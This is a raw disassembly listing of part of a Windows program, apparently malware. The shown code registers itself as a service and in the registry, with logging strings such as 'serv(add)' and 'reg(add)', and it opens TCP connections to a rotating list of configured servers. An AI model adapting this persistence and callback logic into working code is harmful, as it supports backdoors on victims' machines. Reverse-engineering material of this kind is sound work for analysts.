mov ebx, [esp+54h+arg_4]
push eax
mov ecx, ebx
call sub_4017EE
push eax
lea eax, [esp+5Ch+var_24]
push offset aSS_4 ; "\"%s\" %s"
push eax
call sub_40102D
add esp, 10h
lea ecx, [esp+54h+var_24]
push 0
push 0
push 0
push 0
push 0
call sub_4017EE
push eax
push 1
push 2
push 20h
push 0F01FFh
mov ecx, offset dword_449834
call sub_4017EE
mov ebp, [esp+7Ch+arg_0]
push eax
mov ecx, ebp
call sub_4017EE
push eax
push edi
nop
call near ptr 2930C4Ch
mov esi, eax
xor ecx, ecx
cmp esi, ecx
jnz short loc_40EF65
nop
call near ptr 27D0990h
cmp eax, 431h
jnz short loc_40EF49
mov ecx, [esp+54h+var_44]
push ebp
call sub_401951
mov esi, dword_511754
push 0
call esi
push edi
call esi
mov ecx, [esp+54h+var_44]
push ebx
push ebp
call sub_4014A1
lea ecx, [esp+54h+var_24]
mov bl, al
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EF49: ; CODE XREF: sub_40EE40+CBj
push edi
nop
call near ptr 2940000h
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp short loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EF65: ; CODE XREF: sub_40EE40+BEj
lea edx, [esp+54h+var_38]
mov [esp+54h+var_34], ecx
mov dword ptr [esp+54h+var_30], ecx
push edx
mov eax, 1
or ebx, 0FFFFFFFFh
lea ecx, [esp+58h+var_40]
push 2
push esi
mov [esp+60h+var_3C], eax
mov [esp+60h+var_40], eax
mov [esp+60h+var_38], ebx
mov [esp+60h+var_2C], eax
mov [esp+60h+var_28], ecx
nop
call near ptr 2940261h
test eax, eax
push esi
mov esi, dword_511754
jnz short loc_40EFBC
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
xor al, al
jmp short loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EFBC: ; CODE XREF: sub_40EE40+164j
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
mov al, 1
loc_40EFD0: ; CODE XREF: sub_40EE40+3Aj
; sub_40EE40+104j ...
mov ecx, [esp+54h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 0Ch
sub_40EE40 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F060 proc near ; CODE XREF: sub_401951j
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 2930926h
mov edi, eax
test edi, edi
jnz short loc_40F087
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F087: ; CODE XREF: sub_40F060+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push edi
nop
call near ptr 28D03D8h
mov esi, eax
test esi, esi
jnz short loc_40F0B4
push edi
nop
call near ptr 2940000h
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F0B4: ; CODE XREF: sub_40F060+41j
lea eax, [esp+24h+var_1C]
push eax
push 1
push esi
call near ptr 2930545h
nop
push esi
nop
call near ptr 293078Eh
push esi
mov esi, dword_511754
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
add esp, 1Ch
retn 4
sub_40F060 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F100 proc near ; CODE XREF: sub_401FD2j
arg_0 = dword ptr 4
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 2930926h
mov esi, eax
test esi, esi
jnz short loc_40F11F
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F11F: ; CODE XREF: sub_40F100+17j
mov ecx, [esp+4+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push esi
nop
call near ptr 28D03D8h
test eax, eax
jnz short loc_40F146
push esi
nop
call near ptr 2940000h
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F146: ; CODE XREF: sub_40F100+37j
push edi
mov edi, dword_511754
push eax
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
retn 4
sub_40F100 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F180 proc near ; CODE XREF: sub_401FFAj
arg_0 = dword ptr 4
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 2930926h
mov edi, eax
test edi, edi
jnz short loc_40F1A1
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F1A1: ; CODE XREF: sub_40F180+18j
mov ecx, [esp+8+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push edi
nop
call near ptr 28D03D8h
mov esi, eax
test esi, esi
jnz short loc_40F1CB
push edi
nop
call near ptr 2940000h
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F1CB: ; CODE XREF: sub_40F180+3Bj
push 0
push 0
push esi
nop
call near ptr 2920AA7h
push esi
mov esi, dword_511754
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
retn 4
sub_40F180 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40F210: ; CODE XREF: ___:loc_4014ABj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43A348
push eax
mov large fs:0, esp
sub esp, 60h
push ebx
push esi
mov esi, [esp+78h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+19h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F30A
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea ecx, [esp+14h]
push 2
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+84h], ebx
call sub_4011EA
lea edx, [esp+0Ch]
lea eax, [esp+24h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+7Ch], 1
call sub_401730
test al, al
jz short loc_40F2D6
lea ecx, [esp+0Ch]
call sub_4017EE
push eax
lea ecx, [esp+28h]
call sub_4017EE
push eax
push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 1Ch
loc_40F2D6: ; CODE XREF: ___:0040F297j
lea ecx, [esp+0Ch]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F30A: ; CODE XREF: ___:0040F246j
lea ecx, [edi+47h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F3A9
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 2
push ecx
mov ecx, edi
call sub_401451
test al, al
jz short loc_40F382
lea ecx, [esp+24h]
call sub_4017EE
push eax
push offset aRegDelS_ ; "reg(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_40F382: ; CODE XREF: ___:0040F34Dj
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F3A9: ; CODE XREF: ___:0040F31Cj
lea ecx, [edi+75h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F4BF
push 1
push offset asc_444600 ; " "
lea ecx, [esp+44h]
push 1
push ecx
mov ecx, esi
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea edx, [esp+14h]
push 2
push edx
mov ecx, esi
mov dword ptr [esp+84h], 3
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
mov bl, 4
push 3
push eax
mov ecx, esi
mov [esp+84h], bl
call sub_4011EA
lea ecx, [esp+24h]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+40h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+80h], 5
call sub_402171
test al, al
jz short loc_40F47D
lea ecx, [esp+24h]
call sub_4017EE
push eax
lea ecx, [esp+10h]
call sub_4017EE
push eax
lea ecx, [esp+44h]
call sub_4017EE
push eax
push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8075
call sub_401857
add esp, 20h
loc_40F47D: ; CODE XREF: ___:0040F434j
lea ecx, [esp+24h]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+0Ch]
mov byte ptr [esp+74h], 3
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F4BF: ; CODE XREF: ___:0040F3BBj
lea ecx, [edi+0A3h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F561
push 1
push offset asc_444600 ; " "
lea eax, [esp+5Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 6
push ecx
mov ecx, edi
call sub_401951
test al, al
jz short loc_40F53A
lea ecx, [esp+54h]
call sub_4017EE
push eax
push offset aServDelS_ ; "serv(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8075
call sub_401857
add esp, 18h
loc_40F53A: ; CODE XREF: ___:0040F505j
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F561: ; CODE XREF: ___:0040F4D4j
mov ecx, [esp+6Ch]
pop edi
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F660 proc near ; CODE XREF: sub_401D16j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
nop
call near ptr 77C2C407h
mov edx, eax
mov eax, [esp+0Ch+arg_0]
mov edi, esi
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
add esp, 4
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn
sub_40F660 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F6D0 proc near ; CODE XREF: sub_40169Fj
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40F6D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+3Ch+var_28], esi
call sub_401E88
lea edi, [esi+11h]
mov [esp+3Ch+var_4], 0
mov ecx, edi
call sub_4011B3
lea ebp, [esi+28h]
mov ecx, ebp
call sub_40142E
lea ecx, [esi+3Dh]
mov byte ptr [esp+3Ch+var_4], 1
call sub_40142E
lea ecx, [esi+56h]
mov byte ptr [esp+3Ch+var_4], 2
call sub_401753
lea ecx, [esi+84h]
mov byte ptr [esp+3Ch+var_4], 3
call sub_401753
lea ecx, [esi+0B2h]
mov byte ptr [esp+3Ch+var_4], 4
call sub_401753
lea ecx, [esi+0E0h]
mov byte ptr [esp+3Ch+var_4], 5
call sub_401753
lea ecx, [esi+10Eh]
mov byte ptr [esp+3Ch+var_4], 6
call sub_401753
lea ecx, [esi+13Ch]
mov byte ptr [esp+3Ch+var_4], 7
call sub_401753
lea ecx, [esi+16Ah]
mov byte ptr [esp+3Ch+var_4], 8
call sub_401753
lea ecx, [esi+198h]
mov byte ptr [esp+3Ch+var_4], 9
call sub_401753
lea ecx, [esi+1C6h]
mov byte ptr [esp+3Ch+var_4], 0Ah
call sub_401753
lea ecx, [esi+1F4h]
mov byte ptr [esp+3Ch+var_4], 0Bh
call sub_401753
lea ecx, [esi+222h]
mov byte ptr [esp+3Ch+var_4], 0Ch
call sub_401753
lea ecx, [esi+250h]
mov byte ptr [esp+3Ch+var_4], 0Dh
call sub_401753
lea ecx, [esi+27Eh]
mov byte ptr [esp+3Ch+var_4], 0Eh
call sub_401753
lea ecx, [esi+2ACh]
mov byte ptr [esp+3Ch+var_4], 0Fh
call sub_401753
lea eax, [esp+3Ch+var_29]
lea ecx, [esi+2DAh]
push eax
mov byte ptr [esp+40h+var_4], 10h
call sub_40172B
mov dword ptr [edi], offset off_43F034
mov bl, 11h
xor edi, edi
push offset byte_448F30
mov ecx, ebp
mov byte ptr [esp+40h+var_4], bl
mov dword ptr [esi], offset off_43F028
mov byte ptr [esi+17h], 1
mov byte ptr [esi+15h], 0
mov byte ptr [esi+16h], 0
mov dword ptr [esi+18h], 0FFFFFFFFh
mov [esi+1Ch], edi
mov [esi+20h], edi
call sub_4015E1
nop
call near ptr 27F0C4Bh
push edi
push 21h
push 28h
push 23h
lea ecx, [esp+4Ch+var_24]
push 2Ah
push ecx
mov [esi+24h], eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 12h
call sub_4017EE
push eax
push offset dword_4490BC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Dh
push 23h
push 2Eh
push 29h
lea edx, [esp+54h+var_24]
push 28h
push edx
call sub_4019C4
add esp, 20h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 13h
call sub_4017EE
push eax
push offset dword_4490C0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 28h
push 23h
push 29h
lea eax, [esp+4Ch+var_24]
push 24h
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 14h
call sub_4017EE
push eax
push offset dword_4490C4
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 21h
push 2Dh
push 27h
push 30h
push 23h
push 2Ch
lea ecx, [esp+58h+var_24]
push 2Ah
push ecx
call sub_4019C4
add esp, 24h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 15h
call sub_4017EE
push eax
push offset dword_4490C8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Dh
push 29h
push 22h
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+5Ch+var_24]
push 2Fh
push edx
call sub_4019C4
add esp, 28h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 16h
call sub_4017EE
push eax
push offset dword_4490CC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 47h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 17h
call sub_4017EE
push eax
push offset dword_4490D0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 44h
lea ecx, [esp+48h+var_24]
push 47h
push ecx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 18h
call sub_4017EE
push eax
push offset dword_4490D4
call sub_401D16
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 21h
push 28h
push 29h
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 19h
call sub_4017EE
push eax
push offset dword_4490D8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Dh
push 2Dh
push 1Bh
lea eax, [esp+4Ch+var_24]
push 2Ah
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ah
call sub_4017EE
push eax
push offset dword_4490DC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 28h
push ecx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Bh
call sub_4017EE
push eax
push offset dword_4490E0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+4Ch+var_24]
push 2Fh
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ch
call sub_4017EE
push eax
push offset dword_4490E4
call sub_401D16
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 47h
push 49h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Dh
call sub_4017EE
push eax
push offset dword_4490E8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 25h
push ecx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Eh
call sub_4017EE
push eax
push offset dword_4490EC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Ch
push 1Bh
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Fh
call sub_4017EE
push eax
push offset dword_4490F0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Eh
push 29h
lea eax, [esp+4Ch+var_24]
push 27h
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 20h
call sub_4017EE
push eax
push offset dword_4490F4
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 45h
push 44h
lea ecx, [esp+48h+var_24]
push 44h
push ecx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 21h
call sub_4017EE
push eax
push offset dword_4490F8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 49h
push 44h
lea edx, [esp+48h+var_24]
push 44h
push edx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 22h
call sub_4017EE
push eax
push offset dword_4490FC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 23h
push 2Fh
lea eax, [esp+4Ch+var_24]
push 2Bh
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 23h
call sub_4017EE
push eax
push offset dword_449100
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
mov ecx, [esp+3Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 2Ch
retn
sub_40F6D0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 180h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FE40 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4013C5
sub_40FE40 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_40FE58
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40FE58: ; CODE XREF: ___:0040FE4Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FE70 proc near ; CODE XREF: sub_4013C5j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40FE70
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F028
mov dword ptr [esi+11h], offset off_43F034
lea ecx, [esi+2DAh]
mov [esp+14h+var_4], 10h
call sub_401B68
sub_40FE70 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+2ACh]
mov byte ptr [esp+10h], 0Fh
call sub_401023
lea ecx, [esi+27Eh]
mov byte ptr [esp+10h], 0Eh
call sub_401023
lea ecx, [esi+250h]
mov byte ptr [esp+10h], 0Dh
call sub_401023
lea ecx, [esi+222h]
mov byte ptr [esp+10h], 0Ch
call sub_401023
lea ecx, [esi+1F4h]
mov byte ptr [esp+10h], 0Bh
call sub_401023
lea ecx, [esi+1C6h]
mov byte ptr [esp+10h], 0Ah
call sub_401023
lea ecx, [esi+198h]
mov byte ptr [esp+10h], 9
call sub_401023
lea ecx, [esi+16Ah]
mov byte ptr [esp+10h], 8
call sub_401023
lea ecx, [esi+13Ch]
mov byte ptr [esp+10h], 7
call sub_401023
lea ecx, [esi+10Eh]
mov byte ptr [esp+10h], 6
call sub_401023
lea ecx, [esi+0E0h]
mov byte ptr [esp+10h], 5
call sub_401023
lea ecx, [esi+0B2h]
mov byte ptr [esp+10h], 4
call sub_401023
lea ecx, [esi+84h]
mov byte ptr [esp+10h], 3
call sub_401023
lea ecx, [esi+56h]
mov byte ptr [esp+10h], 2
call sub_401023
lea ecx, [esi+3Dh]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+28h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_410030 proc near ; CODE XREF: sub_402149j
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_1C = byte ptr 20h
arg_1E = word ptr 22h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_34 = byte ptr 38h
arg_4C = byte ptr 50h
arg_64 = byte ptr 68h
arg_7C = byte ptr 80h
arg_94 = byte ptr 98h
arg_AC = byte ptr 0B0h
arg_C4 = byte ptr 0C8h
arg_DC = byte ptr 0E0h
arg_F4 = byte ptr 0F8h
arg_10C = byte ptr 110h
arg_124 = byte ptr 128h
arg_13C = byte ptr 140h
arg_154 = byte ptr 158h
arg_16C = byte ptr 170h
arg_184 = byte ptr 188h
arg_19C = byte ptr 1A0h
arg_1B4 = byte ptr 1B8h
arg_1CC = byte ptr 1D0h
arg_1E4 = byte ptr 1E8h
arg_1FC = byte ptr 200h
arg_214 = byte ptr 218h
arg_22C = byte ptr 230h
arg_244 = byte ptr 248h
arg_25C = byte ptr 260h
arg_274 = byte ptr 278h
arg_28C = byte ptr 290h
arg_2A4 = byte ptr 2A8h
arg_2BC = byte ptr 2C0h
arg_2D4 = byte ptr 2D8h
arg_2EC = byte ptr 2F0h
arg_304 = byte ptr 308h
arg_31C = byte ptr 320h
arg_334 = byte ptr 338h
arg_34C = byte ptr 350h
arg_364 = byte ptr 368h
arg_37C = byte ptr 380h
arg_394 = byte ptr 398h
arg_3AC = byte ptr 3B0h
arg_3C4 = byte ptr 3C8h
arg_3DC = byte ptr 3E0h
arg_3F4 = byte ptr 3F8h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_464 = byte ptr 468h
arg_2464 = dword ptr 2468h
arg_246C = dword ptr 2470h
arg_2470 = dword ptr 2474h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43A8D3
push eax
mov eax, 2478h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+1Ch+var_4]
call sub_40142E
mov al, [ebp+17h]
xor ebx, ebx
cmp al, bl
mov [esp+1Ch+arg_2470], ebx
jz loc_411400
loc_410072: ; CODE XREF: sub_410030+13CAj
mov al, byte_4E8E44
mov edi, dword_5118AC
cmp al, bl
jz loc_411400
mov eax, [ebp+20h]
cmp eax, ebx
jnz short loc_41009A
cmp dword ptr [ebp+1Ch], 5
jg short loc_4100A4
cmp eax, ebx
jz loc_4101DE
loc_41009A: ; CODE XREF: sub_410030+5Aj
cmp dword ptr [ebp+1Ch], 2
jle loc_4101DE
loc_4100A4: ; CODE XREF: sub_410030+60j
mov eax, [ebp+18h]
mov [ebp+16h], bl
cmp eax, 0FFFFFFFFh
mov [ebp+15h], bl
jz short loc_4100B9
push eax
nop
call near ptr 71AB9639h
loc_4100B9: ; CODE XREF: sub_410030+80j
mov ecx, offset word_44AC5E
mov dword ptr [ebp+18h], 0FFFFFFFFh
call sub_401541
mov esi, [ebp+20h]
inc esi
mov [ebp+20h], esi
lea esi, [ebp+2DAh]
mov ecx, esi
call sub_401983
mov ecx, [ebp+20h]
dec eax
cmp ecx, eax
jbe short loc_4100E9
mov [ebp+20h], ebx
loc_4100E9: ; CODE XREF: sub_410030+B4j
mov eax, [ebp+20h]
mov ecx, esi
push eax
mov [ebp+1Ch], ebx
call sub_401474
mov ecx, [eax]
add ecx, 16Dh
push ecx
push offset byte_4493ED
mov ecx, offset word_44ACD6
call sub_401F50
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_401474
mov eax, [eax]
mov ecx, offset word_44ACD6
add eax, 1B6h
push eax
push offset dword_4493A4
call sub_401F50
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_401474
mov edx, [eax]
mov ecx, offset word_44ACD6
push edx
push offset dword_449280
call sub_401F50
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_401474
mov ecx, [eax]
add ecx, 124h
push ecx
push offset word_449312
mov ecx, offset word_44ACD6
call sub_401F50
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_401474
mov eax, [eax]
mov ecx, offset word_44ACD6
add eax, 0DBh
push eax
push offset byte_4492C9
call sub_401F50
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_401474
mov edx, [eax]
mov ecx, offset word_44ACD6
add edx, 92h
push edx
push offset byte_44935B
call sub_401F50
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_401474
mov ecx, [eax]
add ecx, 1FFh
push ecx
push offset byte_44947F
mov ecx, offset word_44ACD6
call sub_401F50
call edi
mov [ebp+24h], eax
loc_4101DE: ; CODE XREF: sub_410030+64j
; sub_410030+6Ej
mov edx, [ebp+18h]
cmp edx, 0FFFFFFFFh
jnz short loc_410208
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
push 7D0h
mov [ebp+18h], eax
mov [ebp+15h], bl
nop
call near ptr 2850369h
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410208: ; CODE XREF: sub_410030+1B4j
cmp [ebp+15h], bl
jnz loc_410398
mov ax, word_44932C
xor edx, edx
mov [esp+20h+arg_20], edx
push eax
